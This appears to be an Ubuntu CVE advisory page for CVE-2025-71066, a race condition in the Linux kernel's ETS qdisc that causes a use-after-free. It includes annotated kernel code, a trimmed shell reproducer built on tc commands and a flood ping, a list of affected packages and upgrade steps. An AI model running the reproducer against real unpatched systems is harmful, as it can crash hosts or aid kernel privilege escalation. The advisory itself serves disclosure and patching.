UBUNTU-CVE-2025-71066: Race Condition

Published Jan 13, 2026
·
Updated

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in etsqdiscchange zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ... // (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); } WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch); etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}" SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Affected Software

188 affected componentsFixes available
ubuntu/linux-hwe-edge*
ubuntu/linux-aws-5.0*
ubuntu/linux-aws-5.3*
ubuntu/linux-azure*
ubuntu/linux-azure-5.3*
ubuntu/linux-azure-edge*
ubuntu/linux-gcp*
ubuntu/linux-gcp-5.3*
ubuntu/linux-gke-4.15*
ubuntu/linux-gke-5.4*
ubuntu/linux-gkeop-5.4*
ubuntu/linux-hwe*
ubuntu/linux-hwe-edge*
ubuntu/linux-oem*
ubuntu/linux-oracle-5.0*
ubuntu/linux-oracle-5.3*
ubuntu/linux-aws-5.11*
ubuntu/linux-aws-5.13*
ubuntu/linux-aws-5.15<5.15.0-1103.110~20.04.1
5.15.0-1103.110~20.04.1
ubuntu/linux-aws-5.8*
ubuntu/linux-azure-5.11*
ubuntu/linux-azure-5.13*
ubuntu/linux-azure-5.15<5.15.0-1110.119~20.04.1
5.15.0-1110.119~20.04.1
ubuntu/linux-azure-5.8*
ubuntu/linux-azure-fde*
ubuntu/linux-gcp-5.11*
ubuntu/linux-gcp-5.13*
ubuntu/linux-gcp-5.15<5.15.0-1103.112~20.04.1
5.15.0-1103.112~20.04.1
ubuntu/linux-gcp-5.8*
ubuntu/linux-gke*
ubuntu/linux-gke-5.15*
ubuntu/linux-gkeop*
ubuntu/linux-gkeop-5.15*
ubuntu/linux-hwe-5.11*
ubuntu/linux-hwe-5.13*
ubuntu/linux-hwe-5.15<5.15.0-173.183~20.04.1
5.15.0-173.183~20.04.1
ubuntu/linux-hwe-5.8*
ubuntu/linux-ibm-5.15<5.15.0-1097.100~20.04.1
5.15.0-1097.100~20.04.1
ubuntu/linux-intel-5.13*
ubuntu/linux-intel-iotg-5.15<5.15.0-1098.104~20.04.1
5.15.0-1098.104~20.04.1
ubuntu/linux-lowlatency-hwe-5.15<5.15.0-173.183~20.04.1
5.15.0-173.183~20.04.1
ubuntu/linux-nvidia-tegra-5.15<5.15.0-1055.55~20.04.1
5.15.0-1055.55~20.04.1
ubuntu/linux-oem-5.10*
ubuntu/linux-oem-5.13*
ubuntu/linux-oem-5.6*
ubuntu/linux-oracle-5.11*
ubuntu/linux-oracle-5.13*
ubuntu/linux-oracle-5.15<5.15.0-1100.106~20.04.1
5.15.0-1100.106~20.04.1
ubuntu/linux-oracle-5.8*
ubuntu/linux-raspi2*
ubuntu/linux-riscv*
ubuntu/linux-riscv-5.11*
ubuntu/linux-riscv-5.15<5.15.0-1097.101~20.04.1
5.15.0-1097.101~20.04.1
ubuntu/linux-riscv-5.8*
ubuntu/linux<5.15.0-173.183
5.15.0-173.183
ubuntu/linux-allwinner-5.19*
ubuntu/linux-aws<5.15.0-1103.110
5.15.0-1103.110
ubuntu/linux-aws-5.19*
ubuntu/linux-aws-6.2*
ubuntu/linux-aws-6.5*
ubuntu/linux-aws-6.8<6.8.0-1052.55~22.04.1
6.8.0-1052.55~22.04.1
ubuntu/linux-azure<5.15.0-1109.118
5.15.0-1109.118
ubuntu/linux-azure-5.19*
ubuntu/linux-azure-6.2*
ubuntu/linux-azure-6.5*
ubuntu/linux-azure-6.8<6.8.0-1059.65~22.04.1
6.8.0-1059.65~22.04.1
ubuntu/linux-azure-fde<5.15.0-1109.118.1
5.15.0-1109.118.1
ubuntu/linux-azure-fde-5.19*
ubuntu/linux-azure-fde-6.2*
ubuntu/linux-azure-fde-6.8<6.8.0-1058.65~22.04.1
6.8.0-1058.65~22.04.1
ubuntu/linux-gcp<5.15.0-1103.112
5.15.0-1103.112
ubuntu/linux-gcp-5.19*
ubuntu/linux-gcp-6.2*
ubuntu/linux-gcp-6.5*
ubuntu/linux-gcp-6.8<6.8.0-1054.57~22.04.1
6.8.0-1054.57~22.04.1
ubuntu/linux-gke<5.15.0-1099.105
5.15.0-1099.105
ubuntu/linux-gkeop<5.15.0-1086.94
5.15.0-1086.94
ubuntu/linux-hwe-5.19*
ubuntu/linux-hwe-6.2*
ubuntu/linux-hwe-6.5*
ubuntu/linux-hwe-6.8<6.8.0-110.110~22.04.1
6.8.0-110.110~22.04.1
ubuntu/linux-ibm<5.15.0-1097.100
5.15.0-1097.100
ubuntu/linux-ibm-6.8<6.8.0-1051.51~22.04.1
6.8.0-1051.51~22.04.1
ubuntu/linux-intel-iot-realtime*
ubuntu/linux-intel-iotg<5.15.0-1098.104
5.15.0-1098.104
ubuntu/linux-kvm<5.15.0-1095.100
5.15.0-1095.100
ubuntu/linux-lowlatency<5.15.0-173.183
5.15.0-173.183
ubuntu/linux-lowlatency-hwe-5.19*
ubuntu/linux-lowlatency-hwe-6.2*
ubuntu/linux-lowlatency-hwe-6.5*
ubuntu/linux-lowlatency-hwe-6.8<6.8.0-110.110.1~22.04.1
6.8.0-110.110.1~22.04.1
ubuntu/linux-nvidia<5.15.0-1098.99
5.15.0-1098.99
ubuntu/linux-nvidia-6.2*
ubuntu/linux-nvidia-6.5*
ubuntu/linux-nvidia-6.8<6.8.0-1051.54~22.04.1
6.8.0-1051.54~22.04.1
ubuntu/linux-nvidia-tegra<5.15.0-1055.55
5.15.0-1055.55
ubuntu/linux-nvidia-tegra-igx<5.15.0-1044.44
5.15.0-1044.44
ubuntu/linux-oem-5.17*
ubuntu/linux-oem-6.0*
ubuntu/linux-oem-6.1*
ubuntu/linux-oem-6.5*
ubuntu/linux-oracle<5.15.0-1100.106
5.15.0-1100.106
ubuntu/linux-oracle-6.5*
ubuntu/linux-oracle-6.8<6.8.0-1049.50~22.04.1
6.8.0-1049.50~22.04.1
ubuntu/linux-raspi<5.15.0-1097.100
5.15.0-1097.100
ubuntu/linux-realtime*
ubuntu/linux-riscv*
ubuntu/linux-riscv-5.19*
ubuntu/linux-riscv-6.5*
ubuntu/linux-riscv-6.8<6.8.0-110.110~22.04.1
6.8.0-110.110~22.04.1
ubuntu/linux-starfive-5.19*
ubuntu/linux-starfive-6.2*
ubuntu/linux-starfive-6.5*
ubuntu/linux-xilinx-zynqmp<5.15.0-1067.71
5.15.0-1067.71
ubuntu/linux-bluefield<5.15.0-1086.88
5.15.0-1086.88
ubuntu/linux-intel-iot-realtime<5.15.0-1094.96
5.15.0-1094.96
ubuntu/linux-realtime<5.15.0-1102.111
5.15.0-1102.111
ubuntu/linux-realtime-6.8<6.8.1-1047.48~22.04.1
6.8.1-1047.48~22.04.1
ubuntu/linux-aws-fips*
ubuntu/linux-azure-fips*
ubuntu/linux-fips*
ubuntu/linux-gcp-fips*
ubuntu/linux-aws-fips<5.15.0-1103.110+fips1
5.15.0-1103.110+fips1
ubuntu/linux-azure-fips<5.15.0-1109.118+fips1
5.15.0-1109.118+fips1
ubuntu/linux-fips<5.15.0-173.183+fips1
5.15.0-173.183+fips1
ubuntu/linux-gcp-fips<5.15.0-1103.112+fips1
5.15.0-1103.112+fips1
ubuntu/linux<6.8.0-110.110
6.8.0-110.110
ubuntu/linux-aws<6.8.0-1052.55
6.8.0-1052.55
ubuntu/linux-aws-6.14*
ubuntu/linux-aws-6.17<6.17.0-1012.12~24.04.1
6.17.0-1012.12~24.04.1
ubuntu/linux-azure<6.8.0-1054.60
6.8.0-1054.60
ubuntu/linux-azure-6.11*
ubuntu/linux-azure-6.14*
ubuntu/linux-azure-6.17<6.17.0-1013.13~24.04.1
6.17.0-1013.13~24.04.1
ubuntu/linux-azure-fde<6.8.0-1058.65
6.8.0-1058.65
ubuntu/linux-azure-fde-6.14*
ubuntu/linux-azure-nvidia<6.8.0-1039.42
6.8.0-1039.42
ubuntu/linux-azure-nvidia-6.14*
ubuntu/linux-gcp<6.8.0-1054.57
6.8.0-1054.57
ubuntu/linux-gcp-6.11*
ubuntu/linux-gcp-6.14*
ubuntu/linux-gcp-6.17<6.17.0-1012.12~24.04.1
6.17.0-1012.12~24.04.1
ubuntu/linux-gke<6.8.0-1050.56
6.8.0-1050.56
ubuntu/linux-gkeop<6.8.0-1037.40
6.8.0-1037.40
ubuntu/linux-hwe-6.11*
ubuntu/linux-hwe-6.14*
ubuntu/linux-hwe-6.17<6.17.0-22.22~24.04.1
6.17.0-22.22~24.04.1
ubuntu/linux-ibm<6.8.0-1051.51
6.8.0-1051.51
ubuntu/linux-lowlatency<6.8.0-110.110.1
6.8.0-110.110.1
ubuntu/linux-lowlatency-hwe-6.11*
ubuntu/linux-nvidia<6.8.0-1051.54
6.8.0-1051.54
ubuntu/linux-nvidia-6.11*
ubuntu/linux-nvidia-6.17<6.17.0-1018.18
6.17.0-1018.18
ubuntu/linux-nvidia-lowlatency<6.8.0-1051.54.1
6.8.0-1051.54.1
ubuntu/linux-nvidia-tegra<6.8.0-1022.22
6.8.0-1022.22
ubuntu/linux-oem-6.11*
ubuntu/linux-oem-6.14*
ubuntu/linux-oem-6.17<6.17.0-1020.20
6.17.0-1020.20
ubuntu/linux-oem-6.8*
ubuntu/linux-oracle<6.8.0-1049.50
6.8.0-1049.50
ubuntu/linux-oracle-6.14*
ubuntu/linux-oracle-6.17<6.17.0-1011.11~24.04.1
6.17.0-1011.11~24.04.1
ubuntu/linux-raspi<6.8.0-1052.56
6.8.0-1052.56
ubuntu/linux-raspi-realtime*
ubuntu/linux-realtime*
ubuntu/linux-riscv*
ubuntu/linux-riscv-6.14*
ubuntu/linux-riscv-6.17<6.17.0-22.22.1~24.04.1
6.17.0-22.22.1~24.04.1
ubuntu/linux-xilinx<6.8.0-1028.29
6.8.0-1028.29
ubuntu/linux-bluefield<6.8.0-1017.21
6.8.0-1017.21
ubuntu/linux-raspi-realtime<6.8.0-2042.43
6.8.0-2042.43
ubuntu/linux-realtime<6.8.1-1047.48
6.8.1-1047.48
ubuntu/linux-realtime-6.14*
ubuntu/linux-realtime-6.17<6.17.0-1010.11~24.04.1
6.17.0-1010.11~24.04.1
ubuntu/linux-aws-fips<6.8.0-1052.55+fips1
6.8.0-1052.55+fips1
ubuntu/linux-azure-fips<6.8.0-1053.59+fips1
6.8.0-1053.59+fips1
ubuntu/linux-fips<6.8.0-110.110+fips2
6.8.0-110.110+fips2
ubuntu/linux-gcp-fips<6.8.0-1054.57+fips1
6.8.0-1054.57+fips1
ubuntu/linux<6.17.0-22.22
6.17.0-22.22
ubuntu/linux-aws<6.17.0-1012.12
6.17.0-1012.12
ubuntu/linux-azure<6.17.0-1013.13
6.17.0-1013.13
ubuntu/linux-azure-fde*
ubuntu/linux-gcp<6.17.0-1012.12
6.17.0-1012.12
ubuntu/linux-oracle<6.17.0-1011.11
6.17.0-1011.11
ubuntu/linux-raspi<6.17.0-1013.13
6.17.0-1013.13
ubuntu/linux-realtime<6.17.0-1010.11
6.17.0-1010.11
ubuntu/linux-riscv<6.17.0-22.22.1
6.17.0-22.22.1
ubuntu/linux-vmware*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade ubuntu/linux-aws-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.110~20.04.1
  2. Upgrade

    Upgrade ubuntu/linux-azure-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1110.119~20.04.1
  3. Upgrade

    Upgrade ubuntu/linux-gcp-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.112~20.04.1
  4. Upgrade

    Upgrade ubuntu/linux-hwe-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-173.183~20.04.1
  5. Upgrade

    Upgrade ubuntu/linux-ibm-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1097.100~20.04.1
  6. Upgrade

    Upgrade ubuntu/linux-intel-iotg-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1098.104~20.04.1
  7. Upgrade

    Upgrade ubuntu/linux-lowlatency-hwe-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-173.183~20.04.1
  8. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1055.55~20.04.1
  9. Upgrade

    Upgrade ubuntu/linux-oracle-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1100.106~20.04.1
  10. Upgrade

    Upgrade ubuntu/linux-riscv-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1097.101~20.04.1
  11. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 5.15.0-173.183
  12. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.110
  13. Upgrade

    Upgrade ubuntu/linux-aws-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1052.55~22.04.1
  14. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 5.15.0-1109.118
  15. Upgrade

    Upgrade ubuntu/linux-azure-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1059.65~22.04.1
  16. Upgrade

    Upgrade ubuntu/linux-azure-fde to a version that resolves this vulnerability.

    Fixed in 5.15.0-1109.118.1
  17. Upgrade

    Upgrade ubuntu/linux-azure-fde-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1058.65~22.04.1
  18. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.112
  19. Upgrade

    Upgrade ubuntu/linux-gcp-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1054.57~22.04.1
  20. Upgrade

    Upgrade ubuntu/linux-gke to a version that resolves this vulnerability.

    Fixed in 5.15.0-1099.105
  21. Upgrade

    Upgrade ubuntu/linux-gkeop to a version that resolves this vulnerability.

    Fixed in 5.15.0-1086.94
  22. Upgrade

    Upgrade ubuntu/linux-hwe-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110~22.04.1
  23. Upgrade

    Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.

    Fixed in 5.15.0-1097.100
  24. Upgrade

    Upgrade ubuntu/linux-ibm-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1051.51~22.04.1
  25. Upgrade

    Upgrade ubuntu/linux-intel-iotg to a version that resolves this vulnerability.

    Fixed in 5.15.0-1098.104
  26. Upgrade

    Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.

    Fixed in 5.15.0-1095.100
  27. Upgrade

    Upgrade ubuntu/linux-lowlatency to a version that resolves this vulnerability.

    Fixed in 5.15.0-173.183
  28. Upgrade

    Upgrade ubuntu/linux-lowlatency-hwe-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110.1~22.04.1
  29. Upgrade

    Upgrade ubuntu/linux-nvidia to a version that resolves this vulnerability.

    Fixed in 5.15.0-1098.99
  30. Upgrade

    Upgrade ubuntu/linux-nvidia-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1051.54~22.04.1
  31. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra to a version that resolves this vulnerability.

    Fixed in 5.15.0-1055.55
  32. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra-igx to a version that resolves this vulnerability.

    Fixed in 5.15.0-1044.44
  33. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 5.15.0-1100.106
  34. Upgrade

    Upgrade ubuntu/linux-oracle-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1049.50~22.04.1
  35. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 5.15.0-1097.100
  36. Upgrade

    Upgrade ubuntu/linux-riscv-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110~22.04.1
  37. Upgrade

    Upgrade ubuntu/linux-xilinx-zynqmp to a version that resolves this vulnerability.

    Fixed in 5.15.0-1067.71
  38. Upgrade

    Upgrade ubuntu/linux-bluefield to a version that resolves this vulnerability.

    Fixed in 5.15.0-1086.88
  39. Upgrade

    Upgrade ubuntu/linux-intel-iot-realtime to a version that resolves this vulnerability.

    Fixed in 5.15.0-1094.96
  40. Upgrade

    Upgrade ubuntu/linux-realtime to a version that resolves this vulnerability.

    Fixed in 5.15.0-1102.111
  41. Upgrade

    Upgrade ubuntu/linux-realtime-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.1-1047.48~22.04.1
  42. Upgrade

    Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.110+fips1
  43. Upgrade

    Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1109.118+fips1
  44. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-173.183+fips1
  45. Upgrade

    Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1103.112+fips1
  46. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110
  47. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 6.8.0-1052.55
  48. Upgrade

    Upgrade ubuntu/linux-aws-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1012.12~24.04.1
  49. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 6.8.0-1054.60
  50. Upgrade

    Upgrade ubuntu/linux-azure-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1013.13~24.04.1
  51. Upgrade

    Upgrade ubuntu/linux-azure-fde to a version that resolves this vulnerability.

    Fixed in 6.8.0-1058.65
  52. Upgrade

    Upgrade ubuntu/linux-azure-nvidia to a version that resolves this vulnerability.

    Fixed in 6.8.0-1039.42
  53. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 6.8.0-1054.57
  54. Upgrade

    Upgrade ubuntu/linux-gcp-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1012.12~24.04.1
  55. Upgrade

    Upgrade ubuntu/linux-gke to a version that resolves this vulnerability.

    Fixed in 6.8.0-1050.56
  56. Upgrade

    Upgrade ubuntu/linux-gkeop to a version that resolves this vulnerability.

    Fixed in 6.8.0-1037.40
  57. Upgrade

    Upgrade ubuntu/linux-hwe-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-22.22~24.04.1
  58. Upgrade

    Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.

    Fixed in 6.8.0-1051.51
  59. Upgrade

    Upgrade ubuntu/linux-lowlatency to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110.1
  60. Upgrade

    Upgrade ubuntu/linux-nvidia to a version that resolves this vulnerability.

    Fixed in 6.8.0-1051.54
  61. Upgrade

    Upgrade ubuntu/linux-nvidia-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1018.18
  62. Upgrade

    Upgrade ubuntu/linux-nvidia-lowlatency to a version that resolves this vulnerability.

    Fixed in 6.8.0-1051.54.1
  63. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra to a version that resolves this vulnerability.

    Fixed in 6.8.0-1022.22
  64. Upgrade

    Upgrade ubuntu/linux-oem-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1020.20
  65. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 6.8.0-1049.50
  66. Upgrade

    Upgrade ubuntu/linux-oracle-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1011.11~24.04.1
  67. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 6.8.0-1052.56
  68. Upgrade

    Upgrade ubuntu/linux-riscv-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-22.22.1~24.04.1
  69. Upgrade

    Upgrade ubuntu/linux-xilinx to a version that resolves this vulnerability.

    Fixed in 6.8.0-1028.29
  70. Upgrade

    Upgrade ubuntu/linux-bluefield to a version that resolves this vulnerability.

    Fixed in 6.8.0-1017.21
  71. Upgrade

    Upgrade ubuntu/linux-raspi-realtime to a version that resolves this vulnerability.

    Fixed in 6.8.0-2042.43
  72. Upgrade

    Upgrade ubuntu/linux-realtime to a version that resolves this vulnerability.

    Fixed in 6.8.1-1047.48
  73. Upgrade

    Upgrade ubuntu/linux-realtime-6.17 to a version that resolves this vulnerability.

    Fixed in 6.17.0-1010.11~24.04.1
  74. Upgrade

    Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.

    Fixed in 6.8.0-1052.55+fips1
  75. Upgrade

    Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.

    Fixed in 6.8.0-1053.59+fips1
  76. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 6.8.0-110.110+fips2
  77. Upgrade

    Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.

    Fixed in 6.8.0-1054.57+fips1
  78. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 6.17.0-22.22
  79. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 6.17.0-1012.12
  80. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 6.17.0-1013.13
  81. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 6.17.0-1012.12
  82. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 6.17.0-1011.11
  83. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 6.17.0-1013.13
  84. Upgrade

    Upgrade ubuntu/linux-realtime to a version that resolves this vulnerability.

    Fixed in 6.17.0-1010.11
  85. Upgrade

    Upgrade ubuntu/linux-riscv to a version that resolves this vulnerability.

    Fixed in 6.17.0-22.22.1
  86. Compensating control

    In ets_qdisc_change, always remove each class from the active list before deleting or freeing its associated qdisc, preventing ets_qdisc_dequeue from accessing a freed struct Qdisc.

Event History

Jan 13, 2026
CVE Published
via OSV·04:16 PM
Data Sourced
via OSV·04:16 PM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What access does an attacker need to exploit this issue?

The attack vector is local. The attacker needs low privileges and must be able to create new user and network namespaces; exploitation also has high attack complexity and requires additional attack conditions.

2

Which Ubuntu kernel packages are listed as affected?

The listed packages are ubuntu/linux, ubuntu/linux-realtime, ubuntu/linux-azure, ubuntu/linux-gcp, ubuntu/linux-azure-fde, ubuntu/linux-riscv, ubuntu/linux-gke, and ubuntu/linux-gkeop.

3

What is the potential security impact of successful exploitation?

The race condition can result in a use-after-free involving a struct Qdisc object. The supplied severity vector rates confidentiality, integrity, and availability impact as high.

Company

Resources

Contact

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